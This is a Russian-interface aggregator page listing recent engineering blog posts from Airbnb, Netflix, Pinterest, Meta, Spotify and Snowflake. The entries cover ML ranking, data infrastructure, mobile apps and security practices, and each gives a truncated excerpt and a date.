Data Engineering
про инжиниринг данных и аналитику
🏢 %company% Engineering
AirBnb Engineering
последний пост 5 days, 13 hours назад
Learning To Rank Diversely
Learning To Rank Diversely Learning To Rank Diversely

by Malay Haldar, Liwei He & Moose AbdoolAirbnb connects millions of guests and Hosts everyday. Most of these connections are forged through search, the results of which are determined by a neural network–based ranking algorithm. While this neural network is adept at selecting individual listings for guests, we recently improved the neural network to better select the overall collection of listings that make up a search result. In this post, we dive deeper into this recent breakthrough that enhances the diversity of listings in search results.How Does Ranking Work?The ranking neural network finds the best listings to surface for a given query by comparing two listings at a time and predictin…

5 days, 13 hours назад @ medium.com
Making Airbnb’s Android app more accessible
Making Airbnb’s Android app more accessible Making Airbnb’s Android app more accessible

By: Julia Fu, Peter ElliottAt Airbnb, we have been consciously designing and building products to be equally usable by all users. Making our mobile apps and websites more accessible not only aligns with our company’s mission of creating a world where people can belong anywhere, but also supports the civil rights of people with disabilities and complies with the law.In this article, we highlight some of the efforts we have made to make the app more accessible, for example, labeling UI elements, grouping related content, supporting large font scale, providing heading and page names. The Airbnb app is one of the most popular travel apps with millions of users and supports many features. Making…

3 weeks, 3 days назад @ medium.com
When a Picture Is Worth More Than Words
When a Picture Is Worth More Than Words When a Picture Is Worth More Than Words

How Airbnb uses visual attributes to enhance the Guest and Host experienceBy Yuanpei Cao, Bill Ulammandakh, Hao Wang, and Tony HwangIntroductionOn Airbnb, our hosts share unique listings all over the world. There are hundreds of millions of accompanying listing photos on Airbnb. Listing photos contain crucial information about style and design aesthetics that are difficult to convey in words or a fixed list of amenities. Accordingly, multiple teams at Airbnb are now leveraging computer vision to extract and incorporate intangibles from our rich visual data to help guests easily find listings that suit their preferences.In previous blog posts titled WIDeText: A Multimodal Deep Learning Frame…

1 month, 4 weeks назад @ medium.com
Motion Engineering at Scale
Motion Engineering at Scale Motion Engineering at Scale

How Airbnb is applying declarative design patterns to rapidly build fluid transition animationsBy: Cal StephensMotion is a key part of what makes a digital experience both easy and delightful to use. Fluid transitions between states and screens are key for helping the user preserve context as they navigate throughout a feature. Quick flourishes of animation make an app come alive, and help give it a distinct personality.At Airbnb we launch hundreds of features and experiments that have been developed by engineers across many teams. When building at this scale, it’s critical to consider efficiency and maintainability throughout our tech stack–and motion is no exception. Adding animations to …

1 month, 4 weeks назад @ medium.com
Announcing Lottie 4.0 for iOS
Announcing Lottie 4.0 for iOS Announcing Lottie 4.0 for iOS

A new rendering engine with significant performance improvements powered by Core AnimationBy: Cal StephensLottie is Airbnb’s cross-platform, open source library for rendering vector motion graphics. We use Lottie extensively at Airbnb, and it also powers animations in thousands of other apps throughout the industry.Example Lottie animations included in Airbnb’s iOS appToday we’re releasing Lottie 4.0 for iOS. This major new release brings significant performance improvements to all Lottie animations, with a brand new rendering engine powered by Core Animation.Using Lottie at scale for many years, we’ve learned a lot about its performance characteristics in real-world use cases. We found tha…

2 months назад @ medium.com
How AI Text Generation Models Are Reshaping Customer Support at Airbnb
How AI Text Generation Models Are Reshaping Customer Support at Airbnb How AI Text Generation Models Are Reshaping Customer Support at Airbnb

Leveraging text generation models to build more effective, scalable customer support products.Gavin Li, Mia Zhao and Zhenyu ZhaoOne of the fastest-growing areas in modern Artificial Intelligence (AI) is AI text generation models. As the name suggests, these models generate natural language. Previously, most industrial natural language processing (NLP) models were classifiers, or what might be called discriminative models in machine learning (ML) literature. However, in recent years, generative models based on large-scale language models are rapidly gaining traction and fundamentally changing how ML problems are formulated. Generative models can now obtain some domain knowledge through large…

2 months, 1 week назад @ medium.com
Building Airbnb Categories with ML and Human-in-the-Loop
Building Airbnb Categories with ML and Human-in-the-Loop Building Airbnb Categories with ML and Human-in-the-Loop

Airbnb Categories Blog Series — Part IBy: Mihajlo Grbovic, Ying Xiao, Pratiksha Kadam, Aaron Yin, Pei Xiong, Dillon Davis, Aditya Mukherji, Kedar Bellare, Haowei Zhang, Shukun Yang, Chen Qian, Sebastien Dubois, Nate Ney, James Furnary, Mark Giangreco, Nate Rosenthal, Cole Baker, Bill Ulammandakh, Sid Reddy, Egor PakhomovFigure 1. Browsing listings by categories: Castles, Desert, Design, Beach & Countryside25 Years of Online Travel SearchOnline travel search hasn’t changed much in the last 25 years. The traveler enters her destination, dates, and the number of guests into a search interface, which dutifully returns a list of options that best meet the criteria. Eventually, Airbnb and other t…

2 months, 2 weeks назад @ medium.com
Mussel — Airbnb’s Key-Value Store for Derived Data
Mussel — Airbnb’s Key-Value Store for Derived Data Mussel — Airbnb’s Key-Value Store for Derived Data

Mussel — Airbnb’s Key-Value Store for Derived DataHow Airbnb built a persistent, high availability and low latency key-value storage engine for accessing derived data from offline and streaming events.By: Chandramouli Rangarajan, Shouyan Guo, Yuxi JinIntroductionWithin Airbnb, many online services need access to derived data, which is data computed with large scale data processing engines like Spark or streaming events like Kafka and stored offline. These services require a high quality derived data storage system, with strong reliability, availability, scalability, and latency guarantees for serving online traffic. For example, the user profiler service stores and accesses real-time and hi…

3 months, 3 weeks назад @ medium.com
Beyond A/B test : Speeding up Airbnb Search Ranking Experimentation through Interleaving
Beyond A/B test : Speeding up Airbnb Search Ranking Experimentation through Interleaving Beyond A/B test : Speeding up Airbnb Search Ranking Experimentation through Interleaving

Beyond A/B Test : Speeding up Airbnb Search Ranking Experimentation through InterleavingIntroduction of Airbnb interleaving experimentation framework, usage and approaches to address challenges in our unique businessQing Zhang, Michelle Du, Reid Andersen, Liwei HeIntroductionWhen a user searches for a place to stay on Airbnb, we aim to show them the best results possible. Airbnb’s relevance team actively works on improving search ranking experience and helps users to find and book listings that match their preference. A/B test is our approach for online assessment. Our business metrics are conversion-focused, and the frequency of guest travel transactions is lower than on other e-commerce p…

4 months назад @ medium.com
Upgrading Data Warehouse Infrastructure at Airbnb
Upgrading Data Warehouse Infrastructure at Airbnb Upgrading Data Warehouse Infrastructure at Airbnb

This blog aims to introduce Airbnb’s experience upgrading Data Warehouse infrastructure to Spark and Iceberg.By: Ronnie Zhu, Edgar Rodriguez, Jason Xu, Gustavo Torres, Kerim Oktay, Xu ZhangIntroductionIn this blog, we will introduce our motivations for upgrading our Data Warehouse Infrastructure to Spark 3 and Iceberg. We will briefly describe the current state of Airbnb data warehouse infrastructure and the challenges. We will then share our learnings from upgrading one critical production workload: event data ingestion. Finally, we will share the results and the lessons learned.ContextAirbnb’s Data Warehouse (DW) storage was previously migrated from legacy HDFS clusters to S3 to provide b…

4 months, 1 week назад @ medium.com
How Airbnb safeguards changes in production
How Airbnb safeguards changes in production How Airbnb safeguards changes in production

Part II: Near Real-time ExperimentsBy: Mike Lin, Preeti Ramasamy, Toby Mao, Zack Loebel-BegelmanIn our first post we discussed the need for a near real time Safe Deploy system and some of the statistics that power its decisions. In this post we will cover the architecture and engineering choices behind the various components that Safe Deploys comprises.Designing a near real-time experimentation system required making explicit tradeoffs among speed, precision, cost, and resiliency. An early decision was to limit near real-time results to only the first 24 hours of an experiment — enough time to catch any major issues and transition to using comprehensive results from the batch pipeline. The …

5 months назад @ medium.com
Netflix Engineering Netflix Engineering
последний пост 5 days, 18 hours назад
Discovering Creative Insights in Promotional Artwork
Discovering Creative Insights in Promotional Artwork Discovering Creative Insights in Promotional Artwork

By Grace Tang, Aneesh Vartakavi, Julija Bagdonaite, Cristina Segalin, and Vi IyengarWhen members are shown a title on Netflix, the displayed artwork, trailers, and synopses are personalized. That means members see the assets that are most likely to help them make an informed choice. These assets are a critical source of information for the member to make a decision to watch, or not watch, a title. The stories on Netflix are multidimensional and there are many ways that a single story could appeal to different members. We want to show members the images, trailers, and synopses that are most helpful to them for making a watch decision.In a previous blog post we explained how our artwork perso…

5 days, 18 hours назад @ netflixtechblog.com
Scalable Annotation Service — Marken
Scalable Annotation Service — Marken Scalable Annotation Service — Marken

Scalable Annotation Service — Markenby Varun Sekhri, Meenakshi JindalIntroductionAt Netflix, we have hundreds of micro services each with its own data models or entities. For example, we have a service that stores a movie entity’s metadata or a service that stores metadata about images. All of these services at a later point want to annotate their objects or entities. Our team, Asset Management Platform, decided to create a generic service called Marken which allows any microservice at Netflix to annotate their entity.AnnotationsSometimes people describe annotations as tags but that is a limited definition. In Marken, an annotation is a piece of metadata which can be attached to an object f…

1 week, 3 days назад @ netflixtechblog.com
Ready-to-go sample data pipelines with Dataflow
Ready-to-go sample data pipelines with Dataflow Ready-to-go sample data pipelines with Dataflow

by Jasmine Omeke, Obi-Ike Nwoke, Olek GorajekIntroThis post is for all data practitioners, who are interested in learning about bootstrapping, standardization and automation of batch data pipelines at Netflix.You may remember Dataflow from the post we wrote last year titled Data pipeline asset management with Dataflow. That article was a deep dive into one of the more technical aspects of Dataflow and didn’t properly introduce this tool in the first place. This time we’ll try to give justice to the intro and then we will focus on one of the very first features Dataflow came with. That feature is called sample workflows, but before we start in let’s have a quick look at Dataflow in general.D…

2 months назад @ netflixtechblog.com
For your eyes only: improving Netflix video quality with neural networks
For your eyes only: improving Netflix video quality with neural networks For your eyes only: improving Netflix video quality with neural networks

by Christos G. Bampis, Li-Heng Chen and Zhi LiWhen you are binge-watching the latest season of Stranger Things or Ozark, we strive to deliver the best possible video quality to your eyes. To do so, we continuously push the boundaries of streaming video quality and leverage the best video technologies. For example, we invest in next-generation, royalty-free codecs and sophisticated video encoding optimizations. Recently, we added another powerful tool to our arsenal: neural networks for video downscaling. In this tech blog, we describe how we improved Netflix video quality with neural networks, the challenges we faced and what lies ahead.How can neural networks fit into Netflix video encodin…

2 months, 2 weeks назад @ netflixtechblog.com
Match Cutting at Netflix: Finding Cuts with Smooth Visual Transitions
Match Cutting at Netflix: Finding Cuts with Smooth Visual Transitions Match Cutting at Netflix: Finding Cuts with Smooth Visual Transitions

Match Cutting: Finding Cuts with Smooth Visual Transitions Using Machine LearningBy Boris Chen, Kelli Griggs, Amir Ziai, Yuchen Xie, Becky Tucker, Vi Iyengar, Ritwik Kumar, Keila Fong, Nagendra Kamath, Elliot Chow, Robert Mayer, Eugene Lok, Aly Parmelee, Sarah BlankCreating Media with Machine Learning episode 1IntroductionAt Netflix, part of what we do is build tools to help our creatives make exciting videos to share with the world. Today, we’d like to share some of the work we’ve been doing on match cuts.https://medium.com/media/f0a78d7f38bd14f60761a93c160f92bd/hrefIn film, a match cut is a transition between two shots that uses similar visual framing, composition, or action to fluidly br…

2 months, 2 weeks назад @ netflixtechblog.com
Helping VFX studios pave a path to the cloud
Helping VFX studios pave a path to the cloud Helping VFX studios pave a path to the cloud

By: Peter Cioni (Netflix), Alex Schworer (Netflix), Mac Moore (Conductor Tech.), Rachel Kelley (AWS), Ranjit Raju (AWS)Rendering is core to the VFX processVFX studios around the world create amazing imagery for Netflix productions. Nearly every show that is produced today includes digital visual effects, from the creatures in Stranger Things, to recreating historic London in Bridgerton.Netflix production teams work with a global roster of VFX studios (both large and small) and their artists to create this amazing imagery. But it’s not easy: to pull this off, VFX studios need to build and operate serious technical infrastructure (compute, storage, networking, and software licensing), otherwi…

2 months, 3 weeks назад @ netflixtechblog.com
New Series: Creating Media with Machine Learning
New Series: Creating Media with Machine Learning New Series: Creating Media with Machine Learning

By Vi Iyengar, Keila Fong, Hossein Taghavi, Andy Yao, Kelli Griggs, Boris Chen, Cristina Segalin, Apurva Kansara, Grace Tang, Billur Engin, Amir Ziai, James Ray, Jonathan Solorzano-HamiltonWelcome to the first post in our multi-part series on how Netflix is developing and using machine learning (ML) to help creators make better media — from TV shows to trailers to movies to promotional art and so much more.Media is at the heart of Netflix. It’s our medium for delivering a range of emotions and experiences to our members. Through each engagement, media is how we bring our members continued joy.This blog series will take you behind the scenes, showing you how we use the power of machine learn…

2 months, 3 weeks назад @ netflixtechblog.com
Machine Learning for Fraud Detection in Streaming Services
Machine Learning for Fraud Detection in Streaming Services Machine Learning for Fraud Detection in Streaming Services

By Soheil Esmaeilzadeh, Negin Salajegheh, Amir Ziai, Jeff BooteIntroductionStreaming services serve content to millions of users all over the world. These services allow users to stream or download content across a broad category of devices including mobile phones, laptops, and televisions. However, some restrictions are in place, such as the number of active devices, the number of streams, and the number of downloaded titles. Many users across many platforms make for a uniquely large attack surface that includes content fraud, account fraud, and abuse of terms of service. Detection of fraud and abuse at scale and in real-time is highly challenging.Data analysis and machine learning techniq…

2 months, 3 weeks назад @ netflixtechblog.com
Seeing through hardware counters: a journey to threefold performance increase
Seeing through hardware counters: a journey to threefold performance increase Seeing through hardware counters: a journey to threefold performance increase

By Vadim Filanovsky and Harshad SaneIn one of our previous blogposts, A Microscope on Microservices we outlined three broad domains of observability (or “levels of magnification,” as we referred to them) — Fleet-wide, Microservice and Instance. We described the tools and techniques we use to gain insight within each domain. There is, however, a class of problems that requires an even stronger level of magnification going deeper down the stack to introspect CPU microarchitecture. In this blogpost we describe one such problem and the tools we used to solve it.The problemIt started off as a routine migration. At Netflix, we periodically reevaluate our workloads to optimize utilization of avail…

2 months, 3 weeks назад @ netflixtechblog.com
Consistent caching mechanism in Titus Gateway
Consistent caching mechanism in Titus Gateway Consistent caching mechanism in Titus Gateway

by Tomasz Bak and Fabio KungIntroductionTitus is the Netflix cloud container runtime that runs and manages containers at scale. In the time since it was first presented as an advanced Mesos framework, Titus has transparently evolved from being built on top of Mesos to Kubernetes, handling an ever-increasing volume of containers. As the number of Titus users increased over the years, the load and pressure on the system increased substantially. The original assumptions and architectural choices were no longer viable. This blog post presents how our current iteration of Titus deals with high API call volumes by scaling out horizontally.We introduce a caching mechanism in the API gateway layer,…

3 months назад @ netflixtechblog.com
Orchestrating Data/ML Workflows at Scale With Netflix Maestro
Orchestrating Data/ML Workflows at Scale With Netflix Maestro Orchestrating Data/ML Workflows at Scale With Netflix Maestro

by Jun He, Akash Dwivedi, Natallia Dzenisenka, Snehal Chennuru, Praneeth Yenugutala, Pawan DixitAt Netflix, Data and Machine Learning (ML) pipelines are widely used and have become central for the business, representing diverse use cases that go beyond recommendations, predictions and data transformations. A large number of batch workflows run daily to serve various business needs. These include ETL pipelines, ML model training workflows, batch jobs, etc. As Big data and ML became more prevalent and impactful, the scalability, reliability, and usability of the orchestrating ecosystem have increasingly become more important for our data scientists and the company.In this blog post, we introd…

3 months, 2 weeks назад @ netflixtechblog.com
How Product Teams Can Build Empathy Through Experimentation
How Product Teams Can Build Empathy Through Experimentation How Product Teams Can Build Empathy Through Experimentation

A conversation between Travis Brooks, Netflix Product Manager for Experimentation Platform, and George Khachatryan, OfferFit CEONote: I’ve known George for a little while now, and as we’ve talked a lot about the philosophy of experimentation, he kindly invited me to their office (virtually) for their virtual speaker series. We had a fun conversation with his team, and we realized that some parts of it might make a good blog post as well. So we jointly edited a bit for length and clarity, and are posting here as well as on OfferFit’s blog. Hope you enjoy the result. — Travis B.George Khachatryan: Travis, could you tell us a bit about your background and how you came to your current role?Trav…

3 months, 3 weeks назад @ netflixtechblog.com
Pinterest Engineering
последний пост 1 week, 2 days назад
Employee-facing Mutual TLS
Employee-facing Mutual TLS Employee-facing Mutual TLS

Armen Tashjian | Security Engineer, Corporate SecurityThis blog article is the second part of our recently released blog: Enforcing Device AuthN & Compliance at Pinterest.IntroAs part of our device authentication and compliance initiative, Pinterest has implemented employee-facing mutual TLS with a custom identity provider in a way that results in a positive user experience.You may have heard of, or experienced first hand, some unpleasant behavior while attempting to authenticate with a certificate within a browser or application. Even the Wikipedia page for mutual TLS mentions that mTLS is a “..less user-friendly experience, [and] it’s rarely used in end-user applications…”.At Pinterest, w…

1 week, 2 days назад @ medium.com
Enforcing Device AuthN & Compliance at Pinterest
Enforcing Device AuthN & Compliance at Pinterest Enforcing Device AuthN & Compliance at Pinterest

Armen Tashjian | Security Engineer, Corporate SecurityIntroPinterest has enforced the use of managed and compliant devices in our Okta authentication flow, using a passwordless implementation, so that access to our tools always requires a healthy Pinterest device.Following the phishing-based attacks against our peers in the tech industry, Pinterest decided to take a two pronged approach to defend against similar attacks. We decided to:Require a managed and healthy Pinterest device be used to access all Pinterest resources, even when in the possession of valid credentialsRequire FIDO2 credentials for user authenticationIn this post, we’ll be focusing on how we required the use of Pinterest m…

1 week, 4 days назад @ medium.com
Build an end to end JSON logging system for clients apps
Build an end to end JSON logging system for clients apps Build an end to end JSON logging system for clients apps

Liang Ma | Software Engineer, Core Eng; Wei Zhu | Software Engineer, ObservabilityIn early 2020, during a critical iOS out of memory incident (we have a blogpost for that), we realized that we didn’t have much visibility of how the app is running or a good system to look up for monitoring and troubleshooting.State of loggingAt that time, on the client side, there were a few ways for logging in their daily work:Context logging: built for logging and reporting impressions or anything related to business, thus a time critical and first-class endpoint. Developers need to explicitly define keys that would otherwise be rejected by the endpoint. Some companies call it “analytics logging.”Misc: log…

3 weeks, 4 days назад @ medium.com
Improving the Player on Android
Improving the Player on Android Improving the Player on Android

Grey Skold | (former Android Video Engineer) ; Lin Wang | Android Performance Engineer; Sheng Liu | Android Performance EngineerPinterest Android App offers a rare experience with a mix of images and videos on a two-column grid. In order to maintain a performant video experience on Android devices, we focused on:Warming upConfigurationsPooling playersWarming UpIn order to reduce the startup latency, we establish a video network connection by sending a dummy HTTP HEAD request during the early application startup time. The same connection can be used to play future videos. This is done even before any video urls are returned from our server.The same strategy also applies to UI rendering. We f…

2 months назад @ medium.com
Flexible Daily Budgeting at Pinterest
Flexible Daily Budgeting at Pinterest Flexible Daily Budgeting at Pinterest

Kelvin Jiang, Software Engineer, Ads Intelligence | Keshava Subramanya, Engineering Manager, Ads Intelligence | Perrye Ogunwole, Product Manager, Ads IntelligenceIntroductionThe Ads Intelligence team at Pinterest builds products that help advertisers maximize the value they get out of their ad campaigns. As part of that initiative, we have recently launched Flexible Daily Budgets (FDB) to US advertisers in open beta.Figure 1: Flexible daily budgets option in the campaign create flowFDB is an automated ads product that benefits advertisers by distributing the advertising budget for each campaign across multiple days in an automated manner. The goals of this product are to:Enable advertisers …

2 months, 3 weeks назад @ medium.com
How Pinterest Leverages Realtime User Actions in Recommendation to Boost Homefeed Engagement Volume
How Pinterest Leverages Realtime User Actions in Recommendation to Boost Homefeed Engagement Volume How Pinterest Leverages Realtime User Actions in Recommendation to Boost Homefeed Engagement Volume

Xue Xia, Software Engineer, Homefeed Ranking; Neng Gu, Software Engineer, Content & User Understanding; Dhruvil Deven Badani, Engineering Manager, Homefeed Ranking; Andrew Zhai, Software Engineer, Advanced Technologies GroupImage from https://wallpapercave.com/neural-networks-wallpapers#google_vignetteIn this blog post, we will demonstrate how we improved Pinterest Homefeed engagement volume from a machine learning model design perspective — by leveraging realtime user action features in Homefeed recommender system.BackgroundThe Homepage of Pinterest is the one of most important surfaces for pinners to discover inspirational ideas and contributes to a large fraction of overall user engageme…

3 months назад @ medium.com
Watch your Manifest
Watch your Manifest Watch your Manifest

Lin Wang | Android Performance EngineerDesigned by AJ Oxendine | Software EngineerIt’s a well-known fact for Android developers that an app’s manifest (AndroidManifest.xml) holds crucial application declarations. It is rarely monitored after being set up because we assume it hardly ever changes. At Pinterest, however, we have been actively monitoring the manifest after realizing it does change every so often.While building an app, Gradle downloads all the dependent libraries to compile and link them with the app. These dependent libraries each have their own mini manifest. During the build process, Android Gradle Plugin (AGP) merges them with the app’s main manifest to form the final manife…

3 months, 1 week назад @ medium.com
Query Rewards: Building a Recommendation Feedback Loop During Query Selection
Query Rewards: Building a Recommendation Feedback Loop During Query Selection Query Rewards: Building a Recommendation Feedback Loop During Query Selection

Bella Huang | Software Engineer, Home Candidate Generation; Raymond Hsu | Engineer Manager, Home Candidate Generation; Dylan Wang | Engineer Manager, Home RelevanceIn Homefeed, ~30% of recommended pins come from pin to pin-based retrieval. This means that during the retrieval stage, we use a batch of query pins to call our retrieval system to generate pin recommendations. We typically use a user’s previously engaged pins, and a user may have hundreds (or thousands!) of engaged pins, so a key problem for us is: how do we select the right query pins from the user’s profile?User Profiling with PinnerSAGE OverviewAt Pinterest, we use PinnerSAGE as the main source of a user’s pin profile. Pinner…

3 months, 1 week назад @ medium.com
My Summer as a Software Engineering Intern at Pinterest Toronto!
My Summer as a Software Engineering Intern at Pinterest Toronto! My Summer as a Software Engineering Intern at Pinterest Toronto!

Khubi Shah | (former) Software Engineer Intern, Shopping Content MiningThis summer, I had the incredible opportunity to intern at the one and only Pinterest from the new engineering hub in Toronto!I am a final year undergraduate student from the University of Waterloo, majoring in Computer Science with an AI specialization. Growing up, Pinterest was always my go-to social media platform, as it inspired me with new ideas for food, fashion, design, or anything creative! As a result, when I was given the opportunity to join as a Software Engineering Intern this summer in Toronto, I was beyond thrilled to be a part of the company mission: to bring everyone the inspiration to create a life they …

3 months, 3 weeks назад @ medium.com
Online Data Migration from HBase to TiDB with Zero Downtime
Online Data Migration from HBase to TiDB with Zero Downtime Online Data Migration from HBase to TiDB with Zero Downtime

Ankita Girish Wagh | Senior Software Engineer, Storage and CachingIntroduction and MotivationAt Pinterest, HBase is one of the most critical storage backends, powering many online storage services like Zen (graph database), UMS (wide column datastore), and Ixia (near real time secondary indexing service). The HBase Ecosystem, though having various advantages like strong consistency at row level in high volume requests, flexible schema, low latency access to data, Hadoop integration, etc. cannot serve the needs of our clients for the next 3–5 years. This is due to high operational cost, excessive complexity, and missing functionalities like secondary indexes, support for transactions, etc.Af…

5 months, 2 weeks назад @ medium.com
Debugging Ad Delivery At Pinterest
Debugging Ad Delivery At Pinterest Debugging Ad Delivery At Pinterest

Nishant Roy | Engineering Manager, Ads Serving PlatformIntro & BackgroundThe Pinterest ads serving platform delivered >$2.5 billion in ad spend in 2021 from thousands of advertisers. Our customer operations team receives 600+ tickets on average every month from advertisers who are looking to understand their performance on our platform. One of the most common questions we receive is why a particular advertiser/ad campaign is not fully utilizing its budget. This question requires a deep analysis of an ad recommendation system consisting of 5+ microservices, 1M+ lines of code, and 100+ active developers, serving >90 million requests everyday. This blog describes how we built a system to swift…

7 months, 2 weeks назад @ medium.com
Estimating Potential Audience Size of an Ad at Pinterest
Estimating Potential Audience Size of an Ad at Pinterest Estimating Potential Audience Size of an Ad at Pinterest

Chanheum (Sean) Cho | ML Engineer, Ads Intelligence; Ruixin Qiang |ML Engineer, Ads Intelligence; Keshava Subramanya |Engineering Manager, Ads IntelligenceIntroductionUnderstanding the size of the potential audience of an ad is an important consideration for an advertiser. It enables advertisers to estimate the total population who might be interested in the products or services they advertise and plan their budgets ahead of time. The Ads Intelligence team at Pinterest provides a service called Potential Audience Size in the Ads Manager, so the advertisers can understand their target audience size while they configure their ad groups. The service updates the estimate in real time as the aud…

8 months назад @ medium.com
Facebook
последний пост 3 months назад
Improving Instagram notification management with machine learning and causal inference
Improving Instagram notification management with machine learning and causal inference

We’re sharing how Meta is applying statistics and machine learning (ML) to improve notification personalization and management on Instagram – particularly on daily digest push notifications. By using causal inference and ML to identify highly active users who are likely to see more content organically, we have been able to reduce the number of notifications [...]

Read More...

The post Improving Instagram notification management with machine learning and causal inference appeared first on Engineering at Meta.

3 months назад @ engineering.fb.com
Scaling data ingestion for machine learning training at Meta
Scaling data ingestion for machine learning training at Meta

Many of Meta’s products, such as search, ads ranking and Marketplace, utilize AI models to continuously improve user experiences. As the performance of hardware we use to support training infrastructure increases, we need to scale our data ingestion infrastructure accordingly to handle workloads more efficiently. GPUs, which are used for training infrastructure, tend to double [...]

Read More...

The post Scaling data ingestion for machine learning training at Meta appeared first on Engineering at Meta.

4 months, 2 weeks назад @ engineering.fb.com
Applying federated learning to protect data on mobile devices
Applying federated learning to protect data on mobile devices

What the research is: Federated learning with differential privacy (FL-DP) is one of the latest privacy-enhancing technologies being evaluated at Meta as we constantly work to enhance user privacy and further safeguard users’ data in the products we design, build, and maintain. FL-DP enhances privacy in two important ways: It allows machine learning (ML) models [...]

Read More...

The post Applying federated learning to protect data on mobile devices appeared first on Engineering at Meta.

7 months, 3 weeks назад @ engineering.fb.com
Uber Engineering
последний пост None
Spotify Engineering Spotify Engineering
последний пост 3 days, 19 hours назад
Unleashing ML Innovation at Spotify with Ray
Unleashing ML Innovation at Spotify with Ray

Introduction As the field of machine learning (ML) continues to evolve and its impact on society and various aspects of our lives grows, it is becoming increasingly important for practitioners and innovators to consider a broader range of perspectives when building ML models and applications. This desire is driving the need for a more flexible [...]

The post Unleashing ML Innovation at Spotify with Ray appeared first on Spotify Engineering.

3 days, 19 hours назад @ engineering.atspotify.com
Agile Coaching (AC) at Spotify: Shining a Light on the AC Career Framework
Agile Coaching (AC) at Spotify: Shining a Light on the AC Career Framework

At Spotify, change is a constant, and our agile coaches are here to help teams and leaders thrive as we evolve. With agile principles famously part of our DNA, Spotify doesn’t need “transformation coaches,” as they are often known in the industry, but coaches who transform as organizational needs change. In the early 2010s, our [...]

The post Agile Coaching (AC) at Spotify: Shining a Light on the AC Career Framework appeared first on Spotify Engineering.

2 weeks, 3 days назад @ engineering.atspotify.com
What’s a “Listening Personality”?
What’s a “Listening Personality”?

We did a couple of new things in Wrapped this year, and one of these is a thing called Your Listening Personality. You got one. There are 16 of them, in total: It’s not a lottery or a horoscope, though. As the four-letter codes at the bottom of each one hint, each Listening Personality is [...]

The post What’s a “Listening Personality”? appeared first on Spotify Engineering.

1 month назад @ engineering.atspotify.com
Shipping Spotify’s Culture: 5 Plugins (and 4 Principles) for Supercharging Developer Experience at Scale
Shipping Spotify’s Culture: 5 Plugins (and 4 Principles) for Supercharging Developer Experience at Scale

ICYMI Spotify officially began selling enterprise software today: the Spotify Plugins for Backstage bundle subscription. Some of these commercial plugins began life as internal tools, built by Spotify developers, for Spotify developers. Other plugins in the bundle are brand new to the Backstage platform. But they all embody our ways of working — our secret [...]

The post Shipping Spotify’s Culture: 5 Plugins (and 4 Principles) for Supercharging Developer Experience at Scale appeared first on Spotify Engineering.

1 month, 3 weeks назад @ engineering.atspotify.com
Strategies and Tools for Performing Migrations on Platform
Strategies and Tools for Performing Migrations on Platform

Needing to deliver faster and more reliably while managing a growing number of contributors and a more complex codebase seems like the fate of every hyper-growth tech company. For platform teams, the challenge is not any different. How can we quickly roll out and increase the adoption of new technologies safely with a growing codebase [...]

The post Strategies and Tools for Performing Migrations on Platform appeared first on Spotify Engineering.

2 months, 3 weeks назад @ engineering.atspotify.com
Spotify’s Vulnerability Management Platform
Spotify’s Vulnerability Management Platform

We started developing our vulnerability management platform (VMP) at Spotify in Q2, 2020, and now that we’ve implemented it and use the system in our day-to-day work, we wanted to take a moment to share our journey to help reduce security risks in an efficient and scalable manner. Vulnerabilities Preventing vulnerabilities within Spotify is the [...]

The post Spotify’s Vulnerability Management Platform appeared first on Spotify Engineering.

2 months, 4 weeks назад @ engineering.atspotify.com
How We Improved the Development Experience for our Client Developers
How We Improved the Development Experience for our Client Developers

TL;DR The core motivation for Spotify’s Client Platform (CliP) team is empowering and unblocking client developers and giving teams the tools they need to ensure a happy and satisfying developer experience (DX). In line with this, we wanted to improve the coding experience for our development teams through infrastructure changes. We conducted research among 318 [...]

The post How We Improved the Development Experience for our Client Developers appeared first on Spotify Engineering.

3 months, 1 week назад @ engineering.atspotify.com
Ripple Engineering Ripple Engineering
последний пост None
Dmitry Anoshin recommends
Snowflake
последний пост 2 days, 18 hours назад
My 2023 Predictions for Chief Data Officers
My 2023 Predictions for Chief Data Officers

The role of the CDO will not suffer the slow rise to prominence other emerging C-level roles have seen in previous years. Modern technologies designed to easily centralize, access, analyze, share, and monetize data have arrived. As a result, data has become the most powerful resource to drive an organization’s transformation. That puts CDOs at […]

The post My 2023 Predictions for Chief Data Officers appeared first on Snowflake.

2 days, 18 hours назад @ snowflake.com
Powering Digital Transformation: How Western Union Leverages the Data Cloud to Lead in the Data Economy
Powering Digital Transformation: How Western Union Leverages the Data Cloud to Lead in the Data Economy

Markets are perpetually shifting and change is unavoidable, but to keep up with those shifting tides companies need to stay focused on digital transformation. Leaders across many industries and companies of all sizes report that one of their biggest challenges is siloed data. The top challenge for businesses with digital transformation goals in 2023 is […]

The post Powering Digital Transformation: How Western Union Leverages the Data Cloud to Lead in the Data Economy appeared first on Snowflake.

3 days, 17 hours назад @ snowflake.com
Snowflake: A Data Platform that Does More and Costs Less
Snowflake: A Data Platform that Does More and Costs Less

A number of blog posts, mainly from competitors, call out Snowflake as expensive. But in our conversations with customers, we frequently hear that Snowflake provides the best value for the money of any enterprise data platform option available today. So what gives? The fact is that data platforms are not created equal, and comparing the […]

The post Snowflake: A Data Platform that Does More and Costs Less appeared first on Snowflake.

4 days, 15 hours назад @ snowflake.com
Know Thy Customer: Why Identity and Enrichment Benefit from the Modern Marketing Data Stack
Know Thy Customer: Why Identity and Enrichment Benefit from the Modern Marketing Data Stack

Accurately defining customer identity is the foundation of building personalized customer experiences. It’s not getting any easier as customer expectations continue to rise. We, as customers, increasingly expect to be understood by the brands we engage with, and identity is key to this understanding. Yet marketers struggle with not only gaining an accurate picture of […]

The post Know Thy Customer: Why Identity and Enrichment Benefit from the Modern Marketing Data Stack appeared first on Snowflake.

4 days, 17 hours назад @ snowflake.com
How Retailers Optimize Merchandising and Assortment Planning Strategies with the Snowflake Retail Data Cloud
How Retailers Optimize Merchandising and Assortment Planning Strategies with the Snowflake Retail Data Cloud

The lingering effects of the global pandemic are merging with inflation to create a perfect storm for retailers looking to find the right inventory stature for the seasons ahead. Companies are getting squeezed between rising supply chain costs and falling consumer confidence. To succeed in this volatile market, McKinsey suggests that retailers “accelerate decision-making tenfold.” […]

The post How Retailers Optimize Merchandising and Assortment Planning Strategies with the Snowflake Retail Data Cloud  appeared first on Snowflake.

5 days, 15 hours назад @ snowflake.com
11 Predictions Data Experts Have for the Year Ahead
11 Predictions Data Experts Have for the Year Ahead

It’s 2023 and with the new year comes an opportunity to drive innovation, growth, and digital transformation with data in the face of ongoing economic turbulence. If Snowflake’s report, How to Win in Today’s Data Economy is any indication, data-driven organizations are poised to emerge as the winners of the year with 77% Data Economy […]

